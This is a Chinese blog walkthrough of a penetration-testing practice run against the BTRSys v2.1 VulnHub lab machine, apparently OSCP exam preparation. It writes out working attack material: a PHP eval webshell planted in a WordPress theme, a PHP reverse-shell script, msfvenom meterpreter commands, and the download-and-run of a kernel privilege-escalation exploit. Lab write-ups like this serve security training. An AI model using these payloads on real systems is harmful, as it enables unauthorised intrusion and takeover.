X黑手网
X黑手网
X黑手网

OSCP模拟-No.3】BTRSys2靶机渗透测试练习

一、前言

主要利用方式:

wordpress账号密码破解+PHP马反弹shell+系统内核低版本提权

二、靶机信息

靶场: vulnhub.com
靶机名称: BTRSys:v2.1


难度: 中等
发布时间: 2017年7月31日
下载地址:https://www.vulnhub.com/entry/btrsys-v21,196/
备注:本次靶机,坑略微有点多,需要谨慎。
     php反弹shell 有很多方式,但shell是否能用,需要进一步探索。

三、虚拟机配置

这次采用的网络连接模式:

依然是NAT模式、DHCP服务:启用、IP地址:自动分配

四、信息收集

1、探测靶机ip地址

sudo arp-scan -Ieth0 -l

image

2、探测靶机ip端口开放

sudo nmap -p- 192.168.169.148

image

3、nmap探测各端口的开放服务及服务信息

sudo nmap -p21,22,80 -sV -A 192.168.169.148

image

21port:ftp服务默认开启端口(存在ftp匿名登录漏洞)
22port:ssh远程登录端口
80port:超文本传输协议开放端口

4、匿名登录并查看ftp是否存在敏感信息或者隐藏文件等

ftp 192.168.169.148
 ftp> ls -la

image

5、21、22端口无法利用,只能通过80端口,扫描目录

dirsearch -u 192.168.169.148

image

6、通过扫描到的上传连接访问,收集到database 有可能和“Lepton”有关联,但也没有其他可用信息

http://192.168.169.148/upload/

image

7、常规信息收集bobots文件,可以发现存在一个文件夹:wordpress。

http://192.168.169.148/robots.txt

image

8、通过常规信息收集bobots文件以及目录扫描皆发现 /wordpress/

http://192.168.169.148/wordpress/

image

9、通过常规目录扫描以及wordpress盲猜后台,访问/wordpress/wp-login.php

http://192.168.169.148/wordpress/wp-login.php

image

10、wordpress站点,可使用wpscan工具进行探索用户,可发现存在:btrisk、admin 两用户

http://192.168.169.148/wordpress/wp-login.php

image

image

五、漏洞利用

11、经过尝试,弱口令成功登录。(PS:这个地方依然可以用wpscan 指定用户名及密码本进行爆破)

(username=admin passwd=admin)

image

image

12、写入一句话木马,Update File 保存成功, 并访问,蚁剑连接成功

<?php @eval($_POST['shell']); echo"luck"; ?>
http://192.168.169.148/wordpress/wp-content/themes/twentyfourteen/404.php

image

image

13、利用PHP进行反弹shell, 通过写入并访问shell页面,传参使PHP进行加载并反弹shell

参考链接:https://www.freesion.com/article/3134134527/
http://192.168.169.148/wordpress/wp-content/themes/twentyfourteen/404.php

image

<?php 
    set_time_limit(0); 
    $ip=$_POST['ip'];
    $port=$_POST['port'];
    $fp=@fsockopen($ip,$port,$errno,$errstr);
    if(!$fp){echo "error";}
    else{
      fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");
      while(!feof($fp)){
      fputs($fp,"shell:");
      $shell=fgets($fp);
      $message=`$shell`;
      fputs($fp,$message);
      }
    fclose($fp);
    }
    ?>

14、使用hackbar进行post请求(hackbar2.1.3是免费版本 )

image

15、开启监听, PHP进行加载并反弹shell,但shell模式经过验证,暂未找到可进行升级tty交互式的方式

image

image

6、利用msfvenom 生成webshell 并进行反弹shell

使用msfvenom命令来生成一个WEBSHELL木马,命令如下。

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.205.127 LPORT=4444-f raw >./shell.php

image

17、生成木马之后,把木马里的PHP代码,复制粘贴在wordpress的404文件里中,如下图。

image

18、开启监听,使用msfconsole工具,使用命令如下。

msfconsole

image

19、按照如下图设置ip地址,设置payload

msf6 > use exploit/multi/handler                                                                                                         
msf6 exploit(multi/handler) > show options
msf6 exploit(multi/handler) > set LHOST 192.168.169.129
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > exploit

image

20、开启监听,再去URL访问刚才写入在404模板里面的地址,访问shell文件,成功反弹meterpreter。

http://192.168.169.148/wordpress/wp-content/themes/twentyfourteen/404.php,

image

六.提权

21、利用漏洞提权,输入shell进入控制台,然后利用python  tty提升交互式。

python3 -c "import pty; pty.spawn('/bin/bash')"

image

22、输入:pwd,id,whoami,uname -r,发现有系统层面的漏洞,内核版本是4.4.0

image

23、在KALI里面使用searchsploit命令来查找内核低版本漏洞。使用41458来提权。

image

24、把文件拷贝到桌面

searchsploit -m linux/local/41458.c

image

25、谨防靶机无gcc工具,先在kali本机进行编译文件

gcc -o exploit 41458.c

26、本机开启web服务,留着靶机来本机下载exploit文件

python -m http.server

image

www-data@ubuntu:/tmp$ wget http://192.168.169.129:8000/exploit

image

28、执行exploit文件,发现无权限,赋777权限,再执行

www-data@ubuntu:/tmp$ ./exploit
    www-data@ubuntu:/tmp$ chmod 777 exploit

image

结语

最终成功的拿到了root权限!

© 版权声明
THE END
喜欢就支持一下吧
点赞15赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容